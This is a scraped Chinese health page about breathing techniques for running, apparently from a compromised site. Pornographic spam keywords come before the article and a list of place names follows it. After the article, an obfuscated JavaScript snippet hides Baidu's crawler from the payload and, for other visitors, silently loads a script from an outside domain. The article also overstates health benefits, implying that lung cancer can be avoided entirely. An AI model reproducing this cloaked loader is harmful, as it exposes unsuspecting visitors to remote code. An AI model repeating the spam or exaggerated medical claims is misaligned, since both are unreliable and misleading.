亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

跑步時怎樣呼吸呢

2017-04-16 12:16:02  來源:360常識網(wǎng)   熱度:
導(dǎo)語:跑步時怎樣呼吸,跑步也要注意呼吸節(jié)奏的,因為跑步速度有快有慢,那么呼吸也應(yīng)該隨著運動的速度而動。跑步能鍛煉肺部的活力,讓肺部少受感

跑步時怎樣呼吸,跑步也要注意呼吸節(jié)奏的,因為跑步速度有快有慢,那么呼吸也應(yīng)該隨著運動的速度而動。跑步能鍛煉肺部的活力,讓肺部少受感染,現(xiàn)在有很多人死于肺癌,如果我們多注意保護自己的肺,那么這樣的悲劇永遠不會發(fā)生,現(xiàn)在的癌癥都纏上了四五十歲的中年人,有些七八十歲的老人還要承受白發(fā)人送黑發(fā)人的痛苦。

學(xué)會深呼吸

人的肺部只比肋骨小一點,但大多數(shù)人只使用了這個強大機關(guān)的1/3,當(dāng)你深呼吸時,肺部擴大,隔膜被打開,并使得腹部擴大,肺部充滿了空氣。學(xué)會在跑步時采用這種呼吸法,來幫助你攝入大量的氧氣,預(yù)防頭痛和惡心。進行一些訓(xùn)練和拉伸練習(xí),你能夠?qū)W會使用肺部的巨大潛力,增加耐力。使用瑜伽和普拉提的交叉訓(xùn)練可以幫助你學(xué)會深呼吸。

以下是深呼吸的步驟,堅持每日練習(xí),就能快速掌握要領(lǐng)。

躺下,在肚子上放置一本雜志;

將體內(nèi)的空氣全部呼出

吸氣,慢慢從1數(shù)到5,使得腹部充滿空氣,將雜志抬高;

以同樣的方式呼氣,從5倒數(shù)至1,直到雜志恢復(fù)原位。

呼吸節(jié)奏和步伐相匹配

對于一個簡單的節(jié)奏跑來說,3-4步一吸,3-4步一呼。在腦海中記住這個頻率,從而調(diào)整呼吸的節(jié)奏。如果跑地更劇烈,呼吸速度要逐漸加快,用來支持你所增加的能量輸出,可變?yōu)?步一呼,2步一吸。

學(xué)會用鼻子呼吸

在寒冷的天氣里,使用鼻子呼吸很重要,寒冷的空氣很干燥,通過嘴來呼吸會讓空氣更加干燥,同時降低空氣的溫度。肺部對干燥的空氣反應(yīng)敏感,易引發(fā)氣喘和咳嗽。通過鼻子來呼吸,不僅能夠過濾掉空氣中的雜質(zhì),也可以讓空氣變得溫暖舒適,減小對肺部的刺激。 無論在何種氣溫下,使用鼻子呼吸可以讓你呼吸地更深入而有效,提升跑步效果。如果你還沒有習(xí)慣依賴鼻子呼吸,那么借助頭巾保護好鼻子和嘴,來增加吸入空氣的濕度。

跑步時怎樣呼吸,學(xué)會用鼻子呼吸,別用嘴巴呼吸,不然跑幾圈后你會覺得很難受,肚子痛,喉嚨不舒服。本來準(zhǔn)備跑一個小時,可是沒跑10圈就堅持不下去了。跑步能鍛煉自己的毅力,但是跑步的方式,尤其是呼吸的方式要對。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
丹凤县| 海晏县| 龙江县| 五莲县| 太康县| 乐东| 平果县| 朔州市| 梅河口市| 迁安市| 辽宁省| 漯河市| 泉州市| 广安市| 施秉县| 鄂伦春自治旗| 赣州市| 岳阳市| 尖扎县| 盐边县| 河南省| 开远市| 东辽县| 桐乡市| 雷州市| 喀什市| 得荣县| 河津市| 新兴县| 洮南市| 来凤县| 申扎县| 乡宁县| 高阳县| 梁平县| 喜德县| 英山县| 正宁县| 若羌县| 涿鹿县| 依安县|